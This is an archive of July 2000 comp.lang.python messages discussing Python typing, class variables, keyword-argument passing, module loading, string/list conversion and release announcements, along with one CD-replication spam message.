References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <3981B034.80FACD08@fft.be> <3981D863.F71AC0AC@alcyone.com> <slrn8o40p1.49c.grey@teleute.rpglink.com>
Message-ID: <3982240A.C31DB1D3@alcyone.com>

Steve Lamb wrote:

>     Might that be exactly why I say that data is data and that the
> operation
> determines the type?  :)

Yes.  But that is the way Perl does it, and Perl is a weakly typed
language, because the type is enforced by the choice of operators, not
an intrinsic property of an object.

Python, however is strongly typed, and the type of an object _is_ one of
its intrinsic properties.  1 is not the same as '1'.

Python is acting like a strongly typed language should.  Your insistence
that it should be following Perl's lead on this doesn't make any sense,
because Python is not weakly typed like Perl.

What you say is true -- _for Perl_.  It is _not_ true for Python, no
matter how much you would like it to be.  And it shouldn't be, either,
as Python is not like Perl.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ One completely overcomes only what one assimilates.
\__/ Andre Gide
    Fat Boy and Little Man / http://www.fatboyandlittleman.com/
 Watch Fat Boy and Little Man go about their antics.


From richard_chamberlain at ntlworld.com  Sun Jul  9 16:48:41 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sun, 9 Jul 2000 21:48:41 +0100
Subject: Newbies question
References: <8kacpb$9hc$1@wanadoo.fr>
Message-ID: <3x5a5.6659$_O.136890@news2-win.server.ntlworld.com>

Hi,

I presume when you double click on grail.py you're getting a dos box which
disappears. Try adding python to your autoexec and then launching grail
through a command prompt, i.e. change directories to the grail directory and
type:

python grail.py

This way you will get a traceback (hopefully) that we can make sense of.

Richard


Mouali rabii sbai <mouali at wanadoo.fr> wrote in message
news:8kacpb$9hc$1 at wanadoo.fr...
> Hello,
>
> Can anybody telling me how to execute an program with python.
>
> I explain, i have download the Grail Browser, making 100% in python.
> In the readme file, they tell to just click on grail.py, but i have
nothing
> with this.
> In the IDLE, i've pass this command :
> exec python c:\program files\python\grail\grail.py
> But i have an error.
>
> If it's not true, what shall i do?
>
> Thanks
>
>




From Wolfgang.Strobl at gmd.de.bbs  Mon Jul 17 07:30:02 2000
From: Wolfgang.Strobl at gmd.de.bbs (Wolfgang.Strobl at gmd.de.bbs)
Date: 17 Jul 2000 11:30:02 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <3bRAMQ$mDp@openbazaar.net>

Norbert.Klamann at pobox.com wrote:

>Hello all,
>working with the new Build 132 of Pythonwin we have a minor problem.
>German Umlauts are not handled properly in the editor windows.
>They are shown as boxes, some of them seem to be dead keys.

And a major problem, the ^-key kills build 132 immediately, when using
the German keyboard layout.



--
      o      (    Wolfgang.Strobl at gmd.de          (+49 2241) 14-2394
     /\        *  GMD Forschungszentrum Informationstechnik GmbH
   _`\ `_<===     Schloss Birlinghoven,           | #include
__(_)/_(_)___.-._ D-53754 Sankt Augustin, Germany | <std.disclaimer>


From jean.hemmi at arakne.com  Wed Jul  5 04:02:46 2000
From: jean.hemmi at arakne.com (Jean Hemmi)
Date: Wed, 05 Jul 2000 08:02:46 +0000
Subject: JPE: Java - C Python Extension Project
Message-ID: <3962EBA5.E461DD4@arakne.com>

We need a full-featured C-Python / Java integration!

Besides minor functional differences, JPython has the major limitation
of not being able to leverage existing Python (binary) extensions.
Presently, there is no C-Python extension to Java.
We, at Arakne, are annoyed by this situation: We cannot integrate the
Python binary extensions we developped with any of the Java SDK's.

Python is among the fittest integration tools around today - we should
be able to have a seamless integration between Python and Java-.

(I'll leave to others the opportunity to elaborate on the
consequences of the contact between Python's and Java's rationales,
especially if both were tightly bound together...)

This would also open a new perspective: at present the "standard" way to

develop native web browser plug-in is through the Java plug-in mechanism

and Java's JNI C API.
At the end of the pipe is the ability to run, within a client web
browser Python scripts, just like Javascript; Python bytecode, like a
Java applet; or both.
Like binary plug-ins, binary python extensions (*.pyd files) could also
get downloaded and installed.

After a successful experience at integrating two large and complex
object-oriented systems into Python, we feel confident at applying the
same patterns to a Java integration - after all, Java is just yet
another external system to Python... -

We are laying out below the requirements to such an integration:
- Multithread compatibility (at least when the JVM relies on OS threads)

- Access to the Java environment from Python
- Seamlessness from both sides
- Java objects appearing as native Python objects (resolving
overloading)
- Extensibility of Java classes into Python
- Access to the Python environment from Java
- Python objects accessible as Java objects
- Extensibility of Python classes within Java
- Exception mapping
- Python programming on client Web browser, like Javascript
- Ability to run Python bytecode files on the client Web browser
- Conciliation of security features (adapting Python's restricted
execution mode for 'Pylets')

Voila!

Reactions and comments ?

Frederic Giacometti
Arakne
frederic.giacometti at arakne.com






From sales at chinaeast.com.hk.bbs  Mon Jul 17 01:10:02 2000
From: sales at chinaeast.com.hk.bbs (sales at chinaeast.com.hk.bbs)
Date: 17 Jul 2000 05:10:02 GMT
Subject: (no subject)
Message-ID: <3bR0RR$iXs@openbazaar.net>

It is an honor to introduce our company, China East Technology Ltd (CET).  We have been
established for about half decade with all facilities located in Hong Kong.  We are the
manufacturer for the replication of CD-Audio, CD-ROM, Super VCD, Video CD, Business
Card CD (50-60MB) , Irregular Shape CD.

To give our clients 100% satisfaction is always the goal of us.  At each stage of the production,
we track our quality with high precision inspection equipment and well-trained inspectors.
Apart from the quality assurance, the high level of security for the CD production is also our
concern to which the fully viewed security systems equipped in our plant.  Moreover, to show
our commitment in anti-piracy of copyright, we have already joined with international
recognition IFPI coding system from Philips and have the licence for the manufacturing of
optical disc by Hong Kong Customs and Excise Department (Licence No. ODML 016).

We commit to provide our best quality services: - processing from your master media to having
up to 5 colors silk screen printing discs and packed by standard packing or special design.

Should you have any questions, please feel free to contact with us either by phone (852)
2898-1082,  fax (852) 298-1262 or email sales at chinaeast.com.hk.  We anticipate to look
forward to serve you in the nearest future.


To cancel this mailing service, reply and type "remove" in the subject field.



This message is sent in compliance of the new email
bill section 301. Under Bill S. 1618 TITLE III passed
by the 105th US Congress. This message cannot be
Considered Spam as long as we include the way to be
removed, Paragraph (a)(c) of S. 1618, further
transmissions to you by the sender of this email may
be stopped at no cost to you by Click Here
with REMOVE in the subject


From loewis at informatik.hu-berlin.de  Wed Jul 19 12:29:20 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 19 Jul 2000 18:29:20 +0200
Subject: Does Python code >.require<< a run-time environment?? (New to    Python)
References: <20000714153818.28906.qmail@web5302.mail.yahoo.com> <396F4473.35DCA488@prescod.net> <8F729880Egmcmhypernetcom@199.171.54.194> <3970B9EB.8FF00EF9@prescod.net>
Message-ID: <p6q66q2ytgf.fsf@informatik.hu-berlin.de>

Paul Prescod <paul at prescod.net> writes:

> True, I forgot that because the MS JVM tends to be installed. I think I
> may have exaggerated the features of the former too. Is there any easy
> way to make a single executable for Python, the standard library,
> required .pyd's and your code? My vague impression is that you could if
> you had a compiler and the source for your pyd's, or else you could fall
> back on an installer (rather than a single big runnable app).

You can get a truly-standalone binary through freeze, but you do need
a C compiler for that. Otherwise, you can get self-extracting and
self-starting applications.

Regards,
Martin



From dnotspam-jen at personic.com.bbs  Mon Jul 17 15:50:04 2000
From: dnotspam-jen at personic.com.bbs (dnotspam-jen at personic.com.bbs)
Date: 17 Jul 2000 19:50:04 GMT
Subject: Multiline strings and indentation
Message-ID: <3bRNNS$lrb@openbazaar.net>

I'm just getting started with Python. The indentation feature really does
make things readable ... except when using multi-line strings.  This just
doesn't look right:

def multiline(x):
  if x:
    print """this is a
multi-line string that spans
three lines"""
 print "another string"

Is there a way to make the above more readable? It would be nice if it could
be written this way and have Python just figure out what whitespace to
ignore:

def multiline(x):
  if x:
    print """this is a
             multi-line string that spans
             three lines"""
 print "another string"

Thanks for any suggestions!

Jen


From bjorn at roguewave.com  Fri Jul 14 13:38:51 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 14 Jul 2000 11:38:51 -0600
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain>
Message-ID: <396F502B.45225ED9@roguewave.com>

Huaiyu Zhu wrote:
> 
> On Thu, 13 Jul 2000 16:35:57 -0600, Bjorn Pettersen <bjorn at roguewave.com>
> wrote:
> 
> >I fully understand your desire to make the syntax for your domain
> >specific notation as intuitive as possible.  For people who don't know
> >matlab however, .+ et. al. have no pre-defined meaning. Since + has a
> >predefined meaning of addition, most people when overloading it will do
> >"additive" things with it, e.g. concatenating to sequences. Since .+
> >doesn't have a pre-defined meaning I'm afraid people will override it
> >with random semantics...
> >
> >If you want to do matlab syntax, perhaps a better approach would be to
> >write your own expression parser?
> >
> 
> Hmm, I see what you mean:  If a certain syntax is not meaningful to all the
> users, don't expose it to all of them lest they came up with random
> incompatible usages.  Sounds reasonable, but ...
> 
> Point 1.  We _can_ assign a universal meaning to dot operators, as
> "componentwise operators".  For example
> 
> [1, 2] + [3, 4]             # [1, 2, 3, 4]
> [1, 2] .+ [3, 4]            # [4, 6]
> ['a','b'] * 2               # ['a','b','a','b']
> ["a","b"] .* 2              # ['aa', 'bb']
> {'a':1, 'b':1} .+ {'a':1, 'c':1}   # {'a':2, 'b':1, 'c': 1}
> 'abc' .+ 'def'              # exception: you must define string.__dot_add__

Well, this could actually be generally useful, but not with the .+
syntax (since the dot would interfer with methods on the sequence
object). If I had the ability to do elementwise computations, I would
want to do something like:

  myList @foo()  == map(lambda x:x.foo(), myList) == [x.foo(); for x in
myList]
  [1,2] @+ 2     == map(lambda x:x+2,     [1,2])  == [x+2; for x in
[1,2]]
  [1,2] @+ [3,4] == ??

Reading "x@<something>" as distribute the <somthing> operation over the
elements in x. I think something like this has the potential to make
code more declarative (ie. shorter and easier to understand)...

-- bjorn



From aahz at netcom.com  Tue Jul 11 11:33:26 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 11 Jul 2000 15:33:26 GMT
Subject: Static member variables
References: <8kahdq$5e2$1@zingo.tninet.se> <8kahq3$fof$1@slb0.atl.mindspring.net> <8kd766$qi7$1@zingo.tninet.se>
Message-ID: <8kfeo6$mkk$1@slb6.atl.mindspring.net>

In article <8kd766$qi7$1 at zingo.tninet.se>,
Thomas Svensson <thomas_s at ebox.tninet.se> wrote:
>In article <8kahq3$fof$1 at slb0.atl.mindspring.net>, aahz at netcom.com (Aahz
>Maruch) wrote:
>>
>> You can have class variables, but they're not exactly what I'd call
>> "static" and they certainly aren't constant.
>> 
>> class foo:
>>   bar = 2
>>   def __init__(self):
>>     self.baz = 3
>> 
>> f = foo()
>> 
>> f.bar is a class variable; f.baz is an instance variable.  Note that you
>> can run into problems if you're not careful because of the way scoping
>> rules work.
>
>Very logical when I see it now. About trouble, do you mean something
>similar to this:

No, what I mean is more similar to this:

class foo:
  bar = 2
  def __init__(self, bar):
    self.baz = 3
    self.bar = bar

By using self.bar, you're modifying the instance, not the class
variable, and the change will not be visible to other instances.  Do
this instead:

class Foo:
  bar = 2
  def __init__(self, bar):
    self.baz = 3
    Foo.bar = bar
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From alex at magenta.com  Mon Jul  3 05:35:43 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 3 Jul 2000 11:35:43 +0200
Subject: Passing variable-length keyworded arguments list to base class constructor?
References: <962352947.103057778@news.libertysurf.fr> <8jhum101vku@news2.newsguy.com> <962367281.1198008296@news.libertysurf.fr>
Message-ID: <8jpn010mb7@news2.newsguy.com>

Jerome Quelin <jerome.quelin at insalien.org> wrote in message
news:962367281.1198008296 at news.libertysurf.fr...
> "Alex Martelli" <alex at magenta.com> wrote:
> >> I was wondering how to pass variable-length keyworded arguments list
> >> to my base-class constructor? Look at the example code below:
> >Doesn't apply work for __init__ just as for any other function?
> Sure it works for __init__ too, I've already tried this approch, but it
doesn't
> work either. In fact, I'm asking the question for __init__ because I run
into
> this problem when calling constructors, but the question is the same for
every
> inherited and overloaded method.
>
> When using the *args syntax, I get an error when calling my constructor
because
> I'm using keywords arguments.

Ok, so *args is out.


> When using the **args syntax, python fetches all keyworded arguments in
_one_
> dictionnary in my constructor, and I want to keep the arguments in
multiple
> key/value pairs (and not flattened in one dictionnary) since the parent
> constructor is waiting for keyworded arguments too.

But that's what apply does (in part): turn a "flattened in one dictionary"
set of name/value pairs into "keyworded arguments" for the function being
applied.


> If I use the **args syntax and then call the base constructor with:
> Parent.__init__(self, args)
> I got an error since it doesn't wait for a dictionnary as an argument (and
args
> is a dictionnary in this case) but for key=value arguments, with key and
value
> taken from the args dictionnary.

So you should instead call apply(Parent.__init__,(self,),args), shouldn't
you?

Toy example:
class Parent:
    def __init__(self, foo=23, bar=45):
        print foo, bar

class Derived(Parent):
    def __init__(self, **kwargs):
        apply(Parent.__init__, (self,), kwargs)

>>> esem.Derived(foo=99)
99 45
<esem.Derived instance at 16a21c0>
>>>


Of course you can alter the kwargs dictionary as required in your
Derived.__init__ method for whatever special needs you may have;
e.g., suppose you want to change the *default* for bar from 45 to
73 in Derived (only), you might code:

class Derived(Parent):
    def __init__(self, **kwargs):
        if not kwargs.has_key('bar'):
            kwargs['bar']=73
        apply(Parent.__init__, (self,), kwargs)

and now:

>>> esem.Derived(foo=99)
99 73
<esem.Derived instance at 16a6810>
>>>


Alex





From dsavitsk at e-coli.net  Mon Jul 10 21:40:02 2000
From: dsavitsk at e-coli.net (dsavitsk)
Date: Tue, 11 Jul 2000 01:40:02 GMT
Subject: Tkinter Option (Radio) Buttons
References: <Haoa5.50544$dF.2046832@news1.rdc1.il.home.com> <8kd5i7$2b0$1@nnrp1.deja.com>
Message-ID: <SVua5.51132$dF.2072282@news1.rdc1.il.home.com>

thanks very much.
doug






From randysch at home.com  Fri Jul  7 23:29:42 2000
From: randysch at home.com (Randy Schrickel)
Date: Sat, 08 Jul 2000 03:29:42 GMT
Subject: Guido presenting at CALUG 7/11
Message-ID: <3966A026.EFAF76EB@home.com>

Hello everyone. Just wanted to announce that Guido van Rossum will be
our special guest speaker at next week's Columbia (Maryland) Area Linux
Users Group meeting. The meeting will be at the Howard Community College
Gateway Training Center in Columbia, MD at 5:30. More details, info, and
directions can be found at www.calug.com . Please tell others, hope you
can make it.

randy schrickel
www.calug.com


From david_ullrich at my-deja.com  Sat Jul 22 13:14:10 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Sat, 22 Jul 2000 17:14:10 GMT
Subject: Waiting for Threads to Stop
References: <lzBd5.7626$IZ1.59773@iad-read.news.verio.net>
Message-ID: <8lckol$eq3$1@nnrp1.deja.com>

In article <lzBd5.7626$IZ1.59773 at iad-read.news.verio.net>,
  "Doug Fort" <dougfort at downright.com> wrote:
> I have several cases where I want [...] one or more
other
> threads to terminate.

    You think you got troubles, try sci.math. (Oh, that's
not the kinda thread you meant? Never mind...)

Sorry, Couldn't Help It,
DU


Sent via Deja.com http://www.deja.com/
Before you buy.


From loewis at informatik.hu-berlin.de  Thu Jul 13 17:42:23 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 13 Jul 2000 23:42:23 +0200
Subject: DB2 Connection
References: <8kl7ds+d9ni@eGroups.com>
Message-ID: <p6qg0pd1zcw.fsf@informatik.hu-berlin.de>

ftian at cs.wisc.edu writes:

> Anyone succeeded in connect Linux DB2 v7.1 on linux?
> IBM only provide Perl module on their web site.

I haven't tried, but it should be possible to link an odbc module
(such as mxODBC) with the DB2 ODBC library.

Regards,
Martin



From david_ullrich at my-deja.com  Sat Jul 22 13:24:24 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Sat, 22 Jul 2000 17:24:24 GMT
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com> <8l76hm$pm9$1@nnrp1.deja.com> <LBGd5.1837$6E.377728@ptah.visi.com> <8l9qfp$gc6$1@nnrp1.deja.com> <6%_d5.1964$6E.417529@ptah.visi.com>
Message-ID: <8lclbq$f6o$1@nnrp1.deja.com>

In article <6%_d5.1964$6E.417529 at ptah.visi.com>,
  ge at nowhere.none (Grant Edwards) wrote:
> In article <8l9qfp$gc6$1 at nnrp1.deja.com>, david_ullrich at my-deja.com
wrote:
>
> >> You're using a single index whose value is the expression 2,3.
> >> The expression 2,3 evaluates to a tuple, which is passed to
> >> _getitem__, just as would the value of any other expression
> >> used as an index.
> >
> >  Ok, then I should revise what I said: You can use the
> >notation [2,3] to accomplish the same thing.
> >
> >  No doubt you're exactly right. But evidently there's a
> >difference between [] indices and function parameters here:
> >
> >def hmm(x):
> >	return x
> >
> >print hmm(2,3)
> >
> >gives an error (hence my suspicion that someone might
> >expect whatever[2,3] to give an error without trying it...)
> >
> >  Why is "2,3" a single expression in whatever[2,3]
> >but not in hmm(2,3)?
>
> Because that's the way the language syntax is defined.  :)

   Yeah, actually I realized that the answer was "because
that's the way it is", I guess what I was really trying to
suggest that since function parameters don't work that
way it's not so obvious that __getitem__ indices do.

> The syntax for a function call includes the commas separating
> the parameters.  The syntax for an index doesn't include any
> commas, so the commas are part of an expression yeilding a
> tuple.  It would be a bit more obvious if one used foo[(4,5)].

   Of course. But the fact that we can write foo[4,5] instead
is very convenient (I was writing foo[(4,5)] in a certain
context once, wishing there was a syntax more like the
syntax for "2-d arrays" elsewhere. Forgot the parentheses
once - that solved that problem.)

DU


Sent via Deja.com http://www.deja.com/
Before you buy.


From bjorn at roguewave.com  Fri Jul 14 14:26:06 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 14 Jul 2000 12:26:06 -0600
Subject: comparing a directory to current dir...
References: <396B9C5E.FCE5F683@roguewave.com> <8kh9if$5co$1@pollux.ip-plus.net> <u1z0z88mu.fsf@ctwd0143.fitlinxx.com>
Message-ID: <396F5B3E.1487E640@roguewave.com>

David Bolen wrote:
> 
> "J?rgen Hermann" <jhe at webde-ag.de> writes:
> 
> > "Bjorn Pettersen" <bjorn at roguewave.com> schrieb im Newsbeitrag
> > news:396B9C5E.FCE5F683 at roguewave.com...
> > > the problem is that os.path.abspath(os.curdir) contains the drive letter
> > > on Windows and os.path.abspath(directory) doesn't.
> (...)
> > Your windows must be different from mine. :)   Mine is NT4SP6a.
> 
> Either that or Bjorn doesn't have the win32 extensions installed.  It
> turns out that ntpath.py in the standard library will actually try to
> use the win32 extensions to let NT produce the absolute path, but if
> not present will silently revert to internal functions, which can
> under some conditions produce the behavior Bjorn was seeing.
> 
> It depends on os.path.isabs() being used to determine if the supplied
> string is already an absolute path, which it will say yes to if it
> starts with / or \, even if it doesn't have a drive.  In that case, it
> doesn't do the join mentioned in the documentation, but only does
> os.path.normalize() and you can end up with a result without the drive
> letter.
> 
> I guess the problem is that "absolute" is sort of ambiguous under
> Windows, since you can have absolute paths on your current drive, or a
> really absolute path that always includes the drive.
> 
> It would probably help to see the value that was in "directory" from
> the original poster to know if that's what was up (and/or if he had
> the win32 extensions installed).

That's it! Thanks a bunch :-)

I-want-the-win32-extensions-in-the-core'ly y'rs
-- bjorn



From loewis at informatik.hu-berlin.de  Mon Jul 10 07:03:37 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: Mon, 10 Jul 2000 13:03:37 +0200 (MET DST)
Subject: [Python-Help] imp.load_module from a string
In-Reply-To: <3969AC50.98F36FF4@nipltd.com> (message from Chris Withers on
	Mon, 10 Jul 2000 11:58:24 +0100)
References: <39672E50.B83A4C81@nipltd.com> <200007081846.UAA04878@pandora.informatik.hu-berlin.de> <3969AC50.98F36FF4@nipltd.com>
Message-ID: <200007101103.NAA14484@pandora.informatik.hu-berlin.de>

> Okay, another question: What is the difference between the contents of a
> .pyc file and what is returned by compile(str,'notafile','exec')?

The first eight bytes are a magic signature. bytes[8:] is a marshalled
code object. Of course, a code object is an object, whereas the
contents of a pyc file is a string.

> Hmm, plan B was to execute a compile(...) on the server using the source
> code and ship a pickle of the result to the client. On the client, take
> this codeobject and execute it into a module:
> 
> module = imp.new_module('MyModule')
> sys.modules['MyModule'] = module
> exec codepbject in vars(module)
> 
> Would this work? How efficient is it?

Depends on how you transmit it. pickle does not support code objects;
marshal does. So I recommend to ship the pyc file, and unmarshal it.

> say module1 is created with:
> module1 = imp.new_module('MyModule')
> exec code1 in vars(module1)

It's better to write 'in module1.__dict__'

> ...can I just swap them as follows?:
> sys.modules['MyModule'] = module1
> ...create and use objects from MyModule...
> sys.modules['MyModule'] = module2
> ...create and use objects from MyModule, hopefully using new
> code?...

To create and use objects, you don't have to put the module into
sys.modules; getattr(module,classname) would get you a class from the
module.

Apart from that, yes, that would work.

> ...what happens to objects created from old MyModule code?...

The objects stay the same. When the reference to the module is
release, class objects still remain as long as instance objects refer
to the class.

Regards,
Martin



From nobody at nowhere.nohow  Fri Jul 28 01:56:07 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Fri, 28 Jul 2000 05:56:07 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com>
Message-ID: <slrn8o283n.qtv.nobody@isis.visi.com>

In article <slrn8o24mr.e7.grey at teleute.rpglink.com>, Steve Lamb wrote:
>
>    Ah, but getting back to that point I said to remember.
>
>foo = "a"
>foo = list(foo)
>
>    foo is not ['a'].

It is when I try it...

> It took a single element and made it a list. 

No, it took a sequence containing a single element and turned it into a list
containing a single element.  list() only works on sequences.  'a' is a
sequence of length 1.

>So we now know that a single element has a sequence.  

Not in the general case.

>Here is another sequence of a single element.
>
>foo = 1
>foo = list(foo)
>
>    Error.  Single element sequence.

No, 1 is not a sequence.  1 is an integer.  [1] is a sequence.  (1) is a
sequence.

>Remember, any sequence can either be a single value or a sequence.

I don't think so, but I'm not sure I understand what you're saying.  Can you
elaborate?

>Yet here we have a single value denied.  Quirks abound.

list() does not handle non-sequences.  You have run across a quirk, but it
isn't what you think it is.  It is this:

A string is a sequence of characters.  Passing a string to list() converts
that sequence of characters into a list of characters. 

Confusion may arise because a "character" is just a string of length 1. This
results in a rather recursive definition of a "string" as a sequence of
length-1 strings.  Therefore, we have the rather odd fact that

        'a'[0] == 'a'

This is important. 

'a' is a sequence that contains a single element.  

That element is 'a'.

This is why list('a') == ['a'].

No matter how many times you apply the [] operation to a length-1 string,
you get the same length-1 string.  This is a bit counter-intuitive, but the
other option is to have distinct character and string types.  If you do
that, then string manipulation gets a lot more messy.

>>>    a is now "['a', 'b', 'c']".  Which means we split a string up when
>>>converting to list but don't concatenate on the way back.

str() and list() are not inverse operations.  They are neither claimed nor
intended to be. 

There is no deterministic way to do the inverse of a list() operation
because there is no information in the list to tell you what sort of
sequence it used to be before it was converted into a list.

str() is defined as producing a more-or-less human-readable expression that
represents the object it is given. Passing a list to str() will generate a
string that (for simple cases) you can eval() to re-produce that list.

str() and eval() come much closer to being inverse operations -- but only
for simple cases.

If you _know_ that the list was the result of doing a list() on a string, then
the inverse operation to convert foo back from a list to a string is:  

  reduce(lambda x,y: x+y, foo)

If you need to do this a lot, then perhaps your complaint should be that
there's no built-in function to concatenate all of the strings in a given
sequence of strings.  Is there?

-- 
Grant Edwards                   grante             Yow!  Someone is DROOLING
                                  at               on my collar!!
                               visi.com            


From jaredu at its.caltech.edu  Mon Jul 17 19:21:27 2000
From: jaredu at its.caltech.edu (jaredu at its.caltech.edu)
Date: Mon, 17 Jul 2000 23:21:27 GMT
Subject: test_socket: similar problem
Message-ID: <8l04d7$iir$1@nnrp1.deja.com>

I'm having the same problem, but on a Mac (Mac OS 9.0.4 G4 w/ Python
1.5.2) The solution is probably the similar, but how do I fix it on a
Mac?

--Jared

> Harry George wrote:
> >
> > [I looked in dejanews, but all the socket queries are way beyond
where
> > I'm stuck.]
> >
> > I have a win95 machine which is samba'd to a linux box.? I'm trying
to
> > learn to do python on win95 (COM et al).? First step is to get it
> > running.? py152.exe went ok; then win32all-128.exe.? python,
> > pythonwin, icons in the explorer all ok.? Able to edit and run
simple
> > hello, worlds.
> >
> > Then in the interpreter I tried:
> >? import test.autotest
> > It ran ok (with lots of skipped optionals), but test_socket crashed
> > with socket.error "host not found"
>
> I had the same error. As far as I understood my? computer didn't know
> about his name.. ;-) I made the? file "c:\windows\hosts" , that
> contained one row:
>
> 128.0.0.1 localhost
>
> and after reboot all worked fine..
> >
> > Of course this could be a non-python win95 setup issue, but with
> > tcp/ip running ok (samba, ftp, ping, etc.), I'm wondering if there
is
> > a python-specific issue.? Any ideas?
> >
> > --
> > Harry George
> > hgg9140 at seanet.com
>
> Alexei Kichkine (http://infocentr.r


Sent via Deja.com http://www.deja.com/
Before you buy.


From nobody at nowhere.nohow.bbs  Sun Jul 16 12:10:02 2000
From: nobody at nowhere.nohow.bbs (nobody at nowhere.nohow.bbs)
Date: 16 Jul 2000 16:10:02 GMT
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <3bQSCS$m1g@openbazaar.net>

On 15 Jul 2000 14:37:57 GMT, Aahz Maruch <aahz at netcom.com> wrote:

>Yeah, one of the reasons I hate AltaVista so much is because it does a
>remarkably poor job of result ranking, even by the relatively poor
>standards of search engines.

I am reminded of something somebody once told me about network
TV: "They don't care whether you like the programs or not. All
they care about is whether their customers like their product."

IOW: You are not the customer. You are the product.

--
Grant Edwards                   grante             Yow!  An air of FRENCH
                                  at               FRIES permeates my
                               visi.com            nostrils!!


From dale at out-think.NOSPAMco.uk  Mon Jul  3 16:54:14 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Mon, 3 Jul 2000 21:54:14 +0100
Subject: Definative Documentation on Objects
Message-ID: <8jqui2$9na$1@supernews.com>

Where do I look for the definitive statement on object programming in
Python?

The "Python Reference Manual", as included in the distribution, is
particularly hard work.

I'm considering "Programming Python" by Mark Lutz but that's four years old.
"Learning Python" is more recent but I'm worried that it might be pitched a
bit low.

I'm an experienced programmer but I need to quickly understand Python object
programming.

Any pointers to online or paper reference material gratefully received.

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants





From robin at jessikat.fsnet.co.uk  Thu Jul 20 11:19:43 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 16:19:43 +0100
Subject: ReportLab 1.00 Released
References: <lc+CU5AhWxd5EwgC@jessikat.fsnet.co.uk>
Message-ID: <31D8qUAPixd5Ewhy@jessikat.fsnet.co.uk>

In article <lc+CU5AhWxd5EwgC at jessikat.fsnet.co.uk>, Robin Becker
<robin at jessikat.fsnet.co.uk> writes
>After much transatlantic worrying it has been decided that ReportLab,
>http://www.reportlab.com) should release version 1.00 of its
>increasingly popular PDF toolkit.
>
>This release features improved documentation, a number of minor bug
>fixes and some C coded extension accelerators. The PLATYPUS page layout
>API whilst not fully fixed will no longer be subject to the upheavals
>of the last few months.
>
>The toolkit is available at either of
>
>          http://www.reportlab.com/reportlab.tgz (.zip)
>          ftp://ftp.reportab.com/reportlab.tgz (.zip)
>
>For windows users the python15.dll compatible extension .pyds are
>available at the download page.
duh I got it wrong as the first should be 
http://www.reportlab.com/download.html
-- 
Robin Becker


From bill at dehora.fsnet.co.uk  Fri Jul 28 18:47:46 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Fri, 28 Jul 2000 23:47:46 +0100
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m0c.qhk.grey@teleute.rpglink.com> <39807595.D6F543E9@netscape.net.remove> <slrn8o10ou.rt1.grey@teleute.rpglink.com>
Message-ID: <8lt3pm$bgg$2@newsg4.svr.pol.co.uk>

>     You've obviously not seen the damage marketing can do to a company
from
> the inside, have you?
>

You've obviously never seen the damage programming can do to a company.






From roberto.lupi at galactica.it  Sat Jul  8 05:51:56 2000
From: roberto.lupi at galactica.it (Roberto Lupi)
Date: Sat, 8 Jul 2000 11:51:56 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
References: <00c601bfe812$febfeef0$f0c809c0@lslp7o.lsl.co.uk> <8k4t1u$7fk$1@newshost.accu.uu.nl> <8k5hd8$go8$1@localhost.localdomain>
Message-ID: <MPG.13d117fd678d8028989696@news.galactica.it>

Although not strictly part of ZODB, I think that ZCatalog and ZClass be 
used to perform queries and schema evolution.

In article <8k5hd8$go8$1 at localhost.localdomain>, 
fermigier at localhost.localdomain says...
> What I'm missing most from ZODB, and is usually easy to do with an
> object-relational adapter, are queries

ZCatalog

> and a simple way to do schema
> evolutions.

ZClass

-- 
Roberto Lupi


From stephen at cerebralmaelstrom.com  Sat Jul  8 04:02:19 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Sat, 08 Jul 2000 08:02:19 GMT
Subject: NumPy and 1.6a2?
References: <xSA95.8234$7%3.621764@news.flash.net>
Message-ID: <feB95.120752$WS3.1047427@typhoon.we.rr.com>

